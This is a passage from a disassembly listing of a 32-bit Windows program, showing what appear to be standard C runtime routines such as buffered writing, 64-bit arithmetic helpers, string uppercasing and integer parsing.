mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_41A0D0 add esp, 10h mov [ebp+var_4], eax mov edx, [ebp+arg_C] push edx call sub_4212A0 add esp, 4 mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_41A090 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A0D0 proc near ; CODE XREF: sub_41A090+20p var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 28h mov eax, [ebp+arg_0] mov [ebp+var_8], eax mov ecx, [ebp+arg_4] imul ecx, [ebp+arg_8] mov [ebp+var_10], ecx mov edx, [ebp+var_10] mov [ebp+var_C], edx cmp [ebp+var_C], 0 jnz short loc_41A0F9 xor eax, eax jmp loc_41A2E5 ; --------------------------------------------------------------------------- loc_41A0F9: ; CODE XREF: sub_41A0D0+20j mov eax, [ebp+arg_C] mov ecx, [eax+0Ch] and ecx, 10Ch test ecx, ecx jz short loc_41A114 mov edx, [ebp+arg_C] mov eax, [edx+18h] mov [ebp+var_1C], eax jmp short loc_41A11B ; --------------------------------------------------------------------------- loc_41A114: ; CODE XREF: sub_41A0D0+37j mov [ebp+var_1C], 1000h loc_41A11B: ; CODE XREF: sub_41A0D0+42j ; sub_41A0D0:loc_41A2DDj cmp [ebp+var_C], 0 jz loc_41A2E2 mov ecx, [ebp+arg_C] mov edx, [ecx+0Ch] and edx, 108h test edx, edx jz short loc_41A1A9 mov eax, [ebp+arg_C] cmp dword ptr [eax+4], 0 jz short loc_41A1A9 mov ecx, [ebp+arg_C] mov edx, [ebp+var_C] cmp edx, [ecx+4] jnb short loc_41A151 mov eax, [ebp+var_C] mov [ebp+var_20], eax jmp short loc_41A15A ; --------------------------------------------------------------------------- loc_41A151: ; CODE XREF: sub_41A0D0+77j mov ecx, [ebp+arg_C] mov edx, [ecx+4] mov [ebp+var_20], edx loc_41A15A: ; CODE XREF: sub_41A0D0+7Fj mov eax, [ebp+var_20] mov [ebp+var_18], eax mov ecx, [ebp+var_18] push ecx mov edx, [ebp+var_8] push edx mov eax, [ebp+arg_C] mov ecx, [eax] push ecx call sub_418A00 add esp, 0Ch mov edx, [ebp+var_C] sub edx, [ebp+var_18] mov [ebp+var_C], edx mov eax, [ebp+arg_C] mov ecx, [eax+4] sub ecx, [ebp+var_18] mov edx, [ebp+arg_C] mov [edx+4], ecx mov eax, [ebp+arg_C] mov ecx, [eax] add ecx, [ebp+var_18] mov edx, [ebp+arg_C] mov [edx], ecx mov eax, [ebp+var_8] add eax, [ebp+var_18] mov [ebp+var_8], eax jmp loc_41A2DD ; --------------------------------------------------------------------------- loc_41A1A9: ; CODE XREF: sub_41A0D0+63j ; sub_41A0D0+6Cj mov ecx, [ebp+var_C] cmp ecx, [ebp+var_1C] jb loc_41A27F mov edx, [ebp+arg_C] mov eax, [edx+0Ch] and eax, 108h test eax, eax jz short loc_41A1E4 mov ecx, [ebp+arg_C] push ecx call sub_421580 add esp, 4 test eax, eax jz short loc_41A1E4 mov eax, [ebp+var_10] sub eax, [ebp+var_C] xor edx, edx div [ebp+arg_4] jmp loc_41A2E5 ; --------------------------------------------------------------------------- loc_41A1E4: ; CODE XREF: sub_41A0D0+F2j ; sub_41A0D0+102j cmp [ebp+var_1C], 0 jz short loc_41A1FC mov eax, [ebp+var_C] xor edx, edx div [ebp+var_1C] mov eax, [ebp+var_C] sub eax, edx mov [ebp+var_24], eax jmp short loc_41A202 ; --------------------------------------------------------------------------- loc_41A1FC: ; CODE XREF: sub_41A0D0+118j mov ecx, [ebp+var_C] mov [ebp+var_24], ecx loc_41A202: ; CODE XREF: sub_41A0D0+12Aj mov edx, [ebp+var_24] mov [ebp+var_18], edx mov eax, [ebp+var_18] push eax mov ecx, [ebp+var_8] push ecx mov edx, [ebp+arg_C] mov eax, [edx+10h] push eax call sub_422370 add esp, 0Ch mov [ebp+var_14], eax cmp [ebp+var_14], 0FFFFFFFFh jnz short loc_41A247 mov ecx, [ebp+arg_C] mov edx, [ecx+0Ch] or edx, 20h mov eax, [ebp+arg_C] mov [eax+0Ch], edx mov eax, [ebp+var_10] sub eax, [ebp+var_C] xor edx, edx div [ebp+arg_4] jmp loc_41A2E5 ; --------------------------------------------------------------------------- loc_41A247: ; CODE XREF: sub_41A0D0+156j mov ecx, [ebp+var_C] sub ecx, [ebp+var_14] mov [ebp+var_C], ecx mov edx, [ebp+var_8] add edx, [ebp+var_14] mov [ebp+var_8], edx mov eax, [ebp+var_14] cmp eax, [ebp+var_18] jnb short loc_41A27D mov ecx, [ebp+arg_C] mov edx, [ecx+0Ch] or edx, 20h mov eax, [ebp+arg_C] mov [eax+0Ch], edx mov eax, [ebp+var_10] sub eax, [ebp+var_C] xor edx, edx div [ebp+arg_4] jmp short loc_41A2E5 ; --------------------------------------------------------------------------- loc_41A27D: ; CODE XREF: sub_41A0D0+18Fj jmp short loc_41A2DD ; --------------------------------------------------------------------------- loc_41A27F: ; CODE XREF: sub_41A0D0+DFj mov ecx, [ebp+var_8] movsx edx, byte ptr [ecx] mov [ebp+var_4], edx mov eax, [ebp+arg_C] push eax mov ecx, [ebp+var_4] push ecx call sub_41E810 add esp, 8 cmp eax, 0FFFFFFFFh jnz short loc_41A2AA mov eax, [ebp+var_10] sub eax, [ebp+var_C] xor edx, edx div [ebp+arg_4] jmp short loc_41A2E5 ; --------------------------------------------------------------------------- loc_41A2AA: ; CODE XREF: sub_41A0D0+1CBj mov edx, [ebp+var_8] add edx, 1 mov [ebp+var_8], edx mov eax, [ebp+var_C] sub eax, 1 mov [ebp+var_C], eax mov ecx, [ebp+arg_C] cmp dword ptr [ecx+18h], 0 jle short loc_41A2D0 mov edx, [ebp+arg_C] mov eax, [edx+18h] mov [ebp+var_28], eax jmp short loc_41A2D7 ; --------------------------------------------------------------------------- loc_41A2D0: ; CODE XREF: sub_41A0D0+1F3j mov [ebp+var_28], 1 loc_41A2D7: ; CODE XREF: sub_41A0D0+1FEj mov ecx, [ebp+var_28] mov [ebp+var_1C], ecx loc_41A2DD: ; CODE XREF: sub_41A0D0+D4j ; sub_41A0D0:loc_41A27Dj jmp loc_41A11B ; --------------------------------------------------------------------------- loc_41A2E2: ; CODE XREF: sub_41A0D0+4Fj mov eax, [ebp+arg_8] loc_41A2E5: ; CODE XREF: sub_41A0D0+24j ; sub_41A0D0+10Fj ... mov esp, ebp pop ebp retn sub_41A0D0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41A2F0 proc near ; CODE XREF: sub_404CEF+19Ep ; sub_414F67+11Bp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, [esp+arg_4] mov ecx, [esp+arg_C] or ecx, eax mov ecx, [esp+arg_8] jnz short loc_41A309 mov eax, [esp+arg_0] mul ecx retn 10h ; --------------------------------------------------------------------------- loc_41A309: ; CODE XREF: sub_41A2F0+Ej push ebx mul ecx mov ebx, eax mov eax, [esp+4+arg_0] mul [esp+4+arg_C] add ebx, eax mov eax, [esp+4+arg_0] mul ecx add edx, ebx pop ebx retn 10h sub_41A2F0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A330 proc near ; CODE XREF: sub_41B2D0+Cp ; DATA XREF: .data:off_442C38o push ebp mov ebp, esp push ebx push esi push edi call sub_41A370 call sub_422700 mov dword_492074, eax call sub_422680 fnclex pop edi pop esi pop ebx pop ebp retn sub_41A330 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A360 proc near ; DATA XREF: .data:00442C3Co ; .data:00442C40o push ebp mov ebp, esp pop ebp retn sub_41A360 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A370 proc near ; CODE XREF: sub_41A330+6p push ebp mov ebp, esp mov off_443200, offset sub_422DF0 mov off_443204, offset sub_422800 mov off_443208, offset sub_422910 mov off_44320C, offset sub_422750 mov off_443210, offset sub_4228E0 mov off_443214, offset sub_422DF0 pop ebp retn sub_41A370 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx mov eax, dword_492070 mov [ebp-4], eax mov ecx, [ebp+8] mov dword_492070, ecx mov eax, [ebp-4] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A3E0 proc near ; CODE XREF: sub_405593+8p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] push eax call ds:dword_49437C mov [ebp+var_4], eax cmp [ebp+var_4], 0FFFFFFFFh jnz short loc_41A40B call ds:dword_4942F0 push eax call sub_422E80 add esp, 4 or eax, 0FFFFFFFFh jmp short loc_41A43C ; --------------------------------------------------------------------------- loc_41A40B: ; CODE XREF: sub_41A3E0+15j mov ecx, [ebp+var_4] and ecx, 1 test ecx, ecx jz short loc_41A43A mov edx, [ebp+arg_4] and edx, 2 test edx, edx jz short loc_41A43A call sub_422F20 mov dword ptr [eax], 0Dh call sub_422F30 mov dword ptr [eax], 5 or eax, 0FFFFFFFFh jmp short loc_41A43C ; --------------------------------------------------------------------------- loc_41A43A: ; CODE XREF: sub_41A3E0+33j ; sub_41A3E0+3Dj xor eax, eax loc_41A43C: ; CODE XREF: sub_41A3E0+29j ; sub_41A3E0+58j mov esp, ebp pop ebp retn sub_41A3E0 endp ; =============== S U B R O U T I N E ======================================= sub_41A440 proc near ; CODE XREF: sub_4055AD+3Fp ; sub_415374+2Ap ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx push esi mov eax, [esp+8+arg_C] or eax, eax jnz short loc_41A462 mov ecx, [esp+8+arg_8] mov eax, [esp+8+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+8+arg_0] div ecx mov edx, ebx jmp short loc_41A4A3 ; --------------------------------------------------------------------------- loc_41A462: ; CODE XREF: sub_41A440+8j mov ecx, eax mov ebx, [esp+8+arg_8] mov edx, [esp+8+arg_4] mov eax, [esp+8+arg_0] loc_41A470: ; CODE XREF: sub_41A440+3Aj shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_41A470 div ebx mov esi, eax mul [esp+8+arg_C] mov ecx, eax mov eax, [esp+8+arg_8] mul esi add edx, ecx jb short loc_41A49E cmp edx, [esp+8+arg_4] ja short loc_41A49E jb short loc_41A49F cmp eax, [esp+8+arg_0] jbe short loc_41A49F loc_41A49E: ; CODE XREF: sub_41A440+4Ej ; sub_41A440+54j dec esi loc_41A49F: ; CODE XREF: sub_41A440+56j ; sub_41A440+5Cj xor edx, edx mov eax, esi loc_41A4A3: ; CODE XREF: sub_41A440+20j pop esi pop ebx retn 10h sub_41A440 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41A4B0 proc near ; CODE XREF: sub_4055AD+2Dp ; sub_415374+43p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov eax, [esp+4+arg_C] or eax, eax jnz short loc_41A4D1 mov ecx, [esp+4+arg_8] mov eax, [esp+4+arg_4] xor edx, edx div ecx mov eax, [esp+4+arg_0] div ecx mov eax, edx xor edx, edx jmp short loc_41A521 ; --------------------------------------------------------------------------- loc_41A4D1: ; CODE XREF: sub_41A4B0+7j mov ecx, eax mov ebx, [esp+4+arg_8] mov edx, [esp+4+arg_4] mov eax, [esp+4+arg_0] loc_41A4DF: ; CODE XREF: sub_41A4B0+39j shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_41A4DF div ebx mov ecx, eax mul [esp+4+arg_C] xchg eax, ecx mul [esp+4+arg_8] add edx, ecx jb short loc_41A50A cmp edx, [esp+4+arg_4] ja short loc_41A50A jb short loc_41A512 cmp eax, [esp+4+arg_0] jbe short loc_41A512 loc_41A50A: ; CODE XREF: sub_41A4B0+4Aj ; sub_41A4B0+50j sub eax, [esp+4+arg_8] sbb edx, [esp+4+arg_C] loc_41A512: ; CODE XREF: sub_41A4B0+52j ; sub_41A4B0+58j sub eax, [esp+4+arg_0] sbb edx, [esp+4+arg_4] neg edx neg eax sbb edx, 0 loc_41A521: ; CODE XREF: sub_41A4B0+1Fj pop ebx retn 10h sub_41A4B0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41A530 proc near ; CODE XREF: sub_4056BD+5Ep ; sub_4056BD+8Ep ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push edi push esi push ebx xor edi, edi mov eax, [esp+0Ch+arg_4] or eax, eax jge short loc_41A551 inc edi mov edx, [esp+0Ch+arg_0] neg eax neg edx sbb eax, 0 mov [esp+0Ch+arg_4], eax mov [esp+0Ch+arg_0], edx loc_41A551: ; CODE XREF: sub_41A530+Bj mov eax, [esp+0Ch+arg_C] or eax, eax jge short loc_41A56D inc edi mov edx, [esp+0Ch+arg_8] neg eax neg edx sbb eax, 0 mov [esp+0Ch+arg_C], eax mov [esp+0Ch+arg_8], edx loc_41A56D: ; CODE XREF: sub_41A530+27j or eax, eax jnz short loc_41A589 mov ecx, [esp+0Ch+arg_8] mov eax, [esp+0Ch+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+0Ch+arg_0] div ecx mov edx, ebx jmp short loc_41A5CA ; --------------------------------------------------------------------------- loc_41A589: ; CODE XREF: sub_41A530+3Fj mov ebx, eax mov ecx, [esp+0Ch+arg_8] mov edx, [esp+0Ch+arg_4] mov eax, [esp+0Ch+arg_0] loc_41A597: ; CODE XREF: sub_41A530+71j shr ebx, 1 rcr ecx, 1 shr edx, 1 rcr eax, 1 or ebx, ebx jnz short loc_41A597 div ecx mov esi, eax mul [esp+0Ch+arg_C] mov ecx, eax mov eax, [esp+0Ch+arg_8] mul esi add edx, ecx jb short loc_41A5C5 cmp edx, [esp+0Ch+arg_4] ja short loc_41A5C5 jb short loc_41A5C6 cmp eax, [esp+0Ch+arg_0] jbe short loc_41A5C6 loc_41A5C5: ; CODE XREF: sub_41A530+85j ; sub_41A530+8Bj dec esi loc_41A5C6: ; CODE XREF: sub_41A530+8Dj ; sub_41A530+93j xor edx, edx mov eax, esi loc_41A5CA: ; CODE XREF: sub_41A530+57j dec edi jnz short loc_41A5D4 neg edx neg eax sbb edx, 0 loc_41A5D4: ; CODE XREF: sub_41A530+9Bj pop ebx pop esi pop edi retn 10h sub_41A530 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A5E0 proc near ; CODE XREF: sub_405E58+BFp ; sub_405E58+12Cp ... var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h mov [ebp+var_8], 0 cmp dword_492170, 0 jnz short loc_41A63D mov eax, [ebp+arg_0] mov [ebp+var_10], eax jmp short loc_41A607 ; --------------------------------------------------------------------------- loc_41A5FE: ; CODE XREF: sub_41A5E0:loc_41A633j mov ecx, [ebp+var_10] add ecx, 1 mov [ebp+var_10], ecx loc_41A607: ; CODE XREF: sub_41A5E0+1Cj mov edx, [ebp+var_10] movsx eax, byte ptr [edx] test eax, eax jz short loc_41A635 mov ecx, [ebp+var_10] movsx edx, byte ptr [ecx] cmp edx, 61h jl short loc_41A633 mov eax, [ebp+var_10] movsx ecx, byte ptr [eax] cmp ecx, 7Ah jg short loc_41A633 mov edx, [ebp+var_10] mov al, [edx] add al, 0E0h mov ecx, [ebp+var_10] mov [ecx], al loc_41A633: ; CODE XREF: sub_41A5E0+3Aj ; sub_41A5E0+45j jmp short loc_41A5FE ; --------------------------------------------------------------------------- loc_41A635: ; CODE XREF: sub_41A5E0+2Fj mov eax, [ebp+arg_0] jmp loc_41A79B ; --------------------------------------------------------------------------- loc_41A63D: ; CODE XREF: sub_41A5E0+14j push offset dword_49274C call ds:dword_494418 cmp dword_492748, 0 jz short loc_41A66F push offset dword_49274C call ds:dword_494414 push 13h call sub_41BC90 add esp, 4 mov [ebp+var_C], 1 jmp short loc_41A676 ; --------------------------------------------------------------------------- loc_41A66F: ; CODE XREF: sub_41A5E0+6Fj mov [ebp+var_C], 0 loc_41A676: ; CODE XREF: sub_41A5E0+8Dj cmp dword_492170, 0 jnz short loc_41A6E4 cmp [ebp+var_C], 0 jz short loc_41A691 push 13h call sub_41BD30 add esp, 4 jmp short loc_41A69C ; --------------------------------------------------------------------------- loc_41A691: ; CODE XREF: sub_41A5E0+A3j push offset dword_49274C call ds:dword_494414 loc_41A69C: ; CODE XREF: sub_41A5E0+AFj mov edx, [ebp+arg_0] mov [ebp+var_14], edx jmp short loc_41A6AD ; --------------------------------------------------------------------------- loc_41A6A4: ; CODE XREF: sub_41A5E0:loc_41A6DAj mov eax, [ebp+var_14] add eax, 1 mov [ebp+var_14], eax loc_41A6AD: ; CODE XREF: sub_41A5E0+C2j mov ecx, [ebp+var_14] movsx edx, byte ptr [ecx] test edx, edx jz short loc_41A6DC mov eax, [ebp+var_14] movsx ecx, byte ptr [eax] cmp ecx, 61h jl short loc_41A6DA mov edx, [ebp+var_14] movsx eax, byte ptr [edx] cmp eax, 7Ah jg short loc_41A6DA mov ecx, [ebp+var_14] mov dl, [ecx] add dl, 0E0h mov eax, [ebp+var_14] mov [eax], dl loc_41A6DA: ; CODE XREF: sub_41A5E0+E0j ; sub_41A5E0+EBj jmp short loc_41A6A4 ; --------------------------------------------------------------------------- loc_41A6DC: ; CODE XREF: sub_41A5E0+D5j mov eax, [ebp+arg_0] jmp loc_41A79B ; --------------------------------------------------------------------------- loc_41A6E4: ; CODE XREF: sub_41A5E0+9Dj push 1 push 0 push 0 push 0 push 0FFFFFFFFh mov ecx, [ebp+arg_0] push ecx push 200h mov edx, dword_492170 push edx call sub_422F40 add esp, 20h mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_41A711 jmp short loc_41A76D ; --------------------------------------------------------------------------- loc_41A711: ; CODE XREF: sub_41A5E0+12Dj push 62h push offset aStrupr_c ; "strupr.c" push 2 mov eax, [ebp+var_4] push eax call sub_416A30 add esp, 10h mov [ebp+var_8], eax cmp [ebp+var_8], 0 jnz short loc_41A731 jmp short loc_41A76D ; --------------------------------------------------------------------------- loc_41A731: ; CODE XREF: sub_41A5E0+14Dj push 1 push 0 mov ecx, [ebp+var_4] push ecx mov edx, [ebp+var_8] push edx push 0FFFFFFFFh mov eax, [ebp+arg_0] push eax push 200h mov ecx, dword_492170 push ecx call sub_422F40 add esp, 20h test eax, eax jnz short loc_41A75D jmp short loc_41A76D ; --------------------------------------------------------------------------- loc_41A75D: ; CODE XREF: sub_41A5E0+179j mov edx, [ebp+var_8] push edx mov eax, [ebp+arg_0] push eax call sub_419FA0 add esp, 8 loc_41A76D: ; CODE XREF: sub_41A5E0+12Fj ; sub_41A5E0+14Fj ... cmp [ebp+var_C], 0 jz short loc_41A77F push 13h call sub_41BD30 add esp, 4 jmp short loc_41A78A ; --------------------------------------------------------------------------- loc_41A77F: ; CODE XREF: sub_41A5E0+191j push offset dword_49274C call ds:dword_494414 loc_41A78A: ; CODE XREF: sub_41A5E0+19Dj push 2 mov ecx, [ebp+var_8] push ecx call sub_4174C0 add esp, 8 mov eax, [ebp+arg_0] loc_41A79B: ; CODE XREF: sub_41A5E0+58j ; sub_41A5E0+FFj mov esp, ebp pop ebp retn sub_41A5E0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41A7A0 proc near ; CODE XREF: sub_40646E+1Dp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_8] test eax, eax jz short locret_41A7EC mov edx, [esp+arg_0] push esi push edi mov esi, edx mov edi, [esp+8+arg_4] or edx, edi and edx, 3 jz short loc_41A7ED test eax, 1 jz short loc_41A7CD mov cl, [esi] cmp cl, [edi] jnz short loc_41A81A inc esi inc edi dec eax jz short loc_41A7EA loc_41A7CD: ; CODE XREF: sub_41A7A0+20j ; sub_41A7A0+48j mov cl, [esi] mov dl, [edi] cmp cl, dl jnz short loc_41A81A mov cl, [esi+1] mov dl, [edi+1] cmp cl, dl jnz short loc_41A81A add edi, 2 add esi, 2 sub eax, 2 jnz short loc_41A7CD loc_41A7EA: ; CODE XREF: sub_41A7A0+2Bj ; sub_41A7A0+84j pop edi pop esi locret_41A7EC: ; CODE XREF: sub_41A7A0+6j retn ; --------------------------------------------------------------------------- loc_41A7ED: ; CODE XREF: sub_41A7A0+19j mov ecx, eax and eax, 3 shr ecx, 2 jz short loc_41A822 repe cmpsd jz short loc_41A822 mov ecx, [esi-4] mov edx, [edi-4] cmp cl, dl jnz short loc_41A815 cmp ch, dh jnz short loc_41A815 shr ecx, 10h shr edx, 10h cmp cl, dl jnz short loc_41A815 cmp ch, dh loc_41A815: ; CODE XREF: sub_41A7A0+63j ; sub_41A7A0+67j ... mov eax, 0 loc_41A81A: ; CODE XREF: sub_41A7A0+26j ; sub_41A7A0+33j ... sbb eax, eax pop edi sbb eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_41A822: ; CODE XREF: sub_41A7A0+55j ; sub_41A7A0+59j test eax, eax jz short loc_41A7EA mov edx, [esi] mov ecx, [edi] cmp dl, cl jnz short loc_41A815 dec eax jz short loc_41A849 cmp dh, ch jnz short loc_41A815 dec eax jz short loc_41A849 and ecx, 0FF0000h and edx, 0FF0000h cmp edx, ecx jnz short loc_41A815 dec eax loc_41A849: ; CODE XREF: sub_41A7A0+8Fj ; sub_41A7A0+96j pop edi pop esi retn sub_41A7A0 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push 0 mov eax, [ebp+10h] push eax mov ecx, [ebp+0Ch] push ecx mov edx, [ebp+8] push edx call sub_41A870 add esp, 10h pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A870 proc near ; CODE XREF: .text:0041A861p ; sub_41ABB0+11p var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] mov [ebp+var_4], eax mov [ebp+var_C], 0 mov ecx, [ebp+var_4] mov dl, [ecx] mov byte ptr [ebp+var_8], dl mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax loc_41A894: ; CODE XREF: sub_41A870+77j cmp dword_442F58, 1 jle short loc_41A8B6 push 8 mov ecx, [ebp+var_8] and ecx, 0FFh push ecx call sub_41E750 add esp, 8 mov [ebp+var_18], eax jmp short loc_41A8D0 ; --------------------------------------------------------------------------- loc_41A8B6: ; CODE XREF: sub_41A870+2Bj mov edx, [ebp+var_8] and edx, 0FFh mov eax, off_442D4C xor ecx, ecx mov cx, [eax+edx*2] and ecx, 8 mov [ebp+var_18], ecx loc_41A8D0: ; CODE XREF: sub_41A870+44j cmp [ebp+var_18], 0 jz short loc_41A8E9 mov edx, [ebp+var_4] mov al, [edx] mov byte ptr [ebp+var_8], al mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx jmp short loc_41A894 ; --------------------------------------------------------------------------- loc_41A8E9: ; CODE XREF: sub_41A870+64j movsx edx, byte ptr [ebp+var_8] cmp edx, 2Dh jnz short loc_41A90D mov eax, [ebp+arg_C] or al, 2 mov [ebp+arg_C], eax mov ecx, [ebp+var_4] mov dl, [ecx] mov byte ptr [ebp+var_8], dl mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax jmp short loc_41A927 ; --------------------------------------------------------------------------- loc_41A90D: ; CODE XREF: sub_41A870+80j movsx ecx, byte ptr [ebp+var_8] cmp ecx, 2Bh jnz short loc_41A927 mov edx, [ebp+var_4] mov al, [edx] mov byte ptr [ebp+var_8], al mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx loc_41A927: ; CODE XREF: sub_41A870+9Bj ; sub_41A870+A4j cmp [ebp+arg_8], 0 jl short loc_41A939 cmp [ebp+arg_8], 1 jz short loc_41A939 cmp [ebp+arg_8], 24h jle short loc_41A94E loc_41A939: ; CODE XREF: sub_41A870+BBj ; sub_41A870+C1j cmp [ebp+arg_4], 0 jz short loc_41A947 mov edx, [ebp+arg_4] mov eax, [ebp+arg_0] mov [edx], eax loc_41A947: ; CODE XREF: sub_41A870+CDj xor eax, eax jmp loc_41AB9D ; --------------------------------------------------------------------------- loc_41A94E: ; CODE XREF: sub_41A870+C7j cmp [ebp+arg_8], 0 jnz short loc_41A98C movsx ecx, byte ptr [ebp+var_8] cmp ecx, 30h jz short loc_41A966 mov [ebp+arg_8], 0Ah jmp short loc_41A98C ; --------------------------------------------------------------------------- loc_41A966: ; CODE XREF: sub_41A870+EBj mov edx, [ebp+var_4] movsx eax, byte ptr [edx] cmp eax, 78h jz short loc_41A97C mov ecx, [ebp+var_4] movsx edx, byte ptr [ecx] cmp edx, 58h jnz short loc_41A985 loc_41A97C: ; CODE XREF: sub_41A870+FFj mov [ebp+arg_8], 10h jmp short loc_41A98C ; --------------------------------------------------------------------------- loc_41A985: ; CODE XREF: sub_41A870+10Aj mov [ebp+arg_8], 8 loc_41A98C: ; CODE XREF: sub_41A870+E2j ; sub_41A870+F4j ... cmp [ebp+arg_8], 10h jnz short loc_41A9CB movsx eax, byte ptr [ebp+var_8] cmp eax, 30h jnz short loc_41A9CB mov ecx, [ebp+var_4] movsx edx, byte ptr [ecx] cmp edx, 78h jz short loc_41A9B1 mov eax, [ebp+var_4] movsx ecx, byte ptr [eax] cmp ecx, 58h jnz short loc_41A9CB loc_41A9B1: ; CODE XREF: sub_41A870+134j mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx mov eax, [ebp+var_4] mov cl, [eax] mov byte ptr [ebp+var_8], cl mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx loc_41A9CB: ; CODE XREF: sub_41A870+120j ; sub_41A870+129j ... or eax, 0FFFFFFFFh xor edx, edx div [ebp+arg_8] mov [ebp+var_10], eax loc_41A9D6: ; CODE XREF: sub_41A870+26Bj cmp dword_442F58, 1 jle short loc_41A9F7 push 4 mov eax, [ebp+var_8] and eax, 0FFh push eax call sub_41E750 add esp, 8 mov [ebp+var_1C], eax jmp short loc_41AA12 ; --------------------------------------------------------------------------- loc_41A9F7: ; CODE XREF: sub_41A870+16Dj mov ecx, [ebp+var_8] and ecx, 0FFh mov edx, off_442D4C xor eax, eax mov ax, [edx+ecx*2] and eax, 4 mov [ebp+var_1C], eax loc_41AA12: ; CODE XREF: sub_41A870+185j cmp [ebp+var_1C], 0 jz short loc_41AA24 movsx ecx, byte ptr [ebp+var_8] sub ecx, 30h mov [ebp+var_14], ecx jmp short loc_41AA83 ; --------------------------------------------------------------------------- loc_41AA24: ; CODE XREF: sub_41A870+1A6j cmp dword_442F58, 1 jle short loc_41AA49 push 103h mov edx, [ebp+var_8] and edx, 0FFh push edx call sub_41E750 add esp, 8 mov [ebp+var_20], eax jmp short loc_41AA66 ; --------------------------------------------------------------------------- loc_41AA49: ; CODE XREF: sub_41A870+1BBj mov eax, [ebp+var_8] and eax, 0FFh mov ecx, off_442D4C xor edx, edx mov dx, [ecx+eax*2] and edx, 103h mov [ebp+var_20], edx loc_41AA66: ; CODE XREF: sub_41A870+1D7j cmp [ebp+var_20], 0 jz short loc_41AA81 movsx eax, byte ptr [ebp+var_8] push eax call sub_423D00 add esp, 4 sub eax, 37h mov [ebp+var_14], eax jmp short loc_41AA83 ; --------------------------------------------------------------------------- loc_41AA81: ; CODE XREF: sub_41A870+1FAj jmp short loc_41AAE0 ; --------------------------------------------------------------------------- loc_41AA83: ; CODE XREF: sub_41A870+1B2j ; sub_41A870+20Fj mov ecx, [ebp+var_14] cmp ecx, [ebp+arg_8] jb short loc_41AA8D jmp short loc_41AAE0 ; --------------------------------------------------------------------------- loc_41AA8D: ; CODE XREF: sub_41A870+219j mov edx, [ebp+arg_C] or edx, 8 mov [ebp+arg_C], edx mov eax, [ebp+var_C] cmp eax, [ebp+var_10] jb short loc_41AAB3 mov ecx, [ebp+var_C] cmp ecx, [ebp+var_10] jnz short loc_41AAC2 or eax, 0FFFFFFFFh xor edx, edx div [ebp+arg_8] cmp [ebp+var_14], edx ja short loc_41AAC2 loc_41AAB3: ; CODE XREF: sub_41A870+22Cj mov edx, [ebp+var_C] imul edx, [ebp+arg_8] add edx, [ebp+var_14] mov [ebp+var_C], edx jmp short loc_41AACA ; --------------------------------------------------------------------------- loc_41AAC2: ; CODE XREF: sub_41A870+234j ; sub_41A870+241j mov 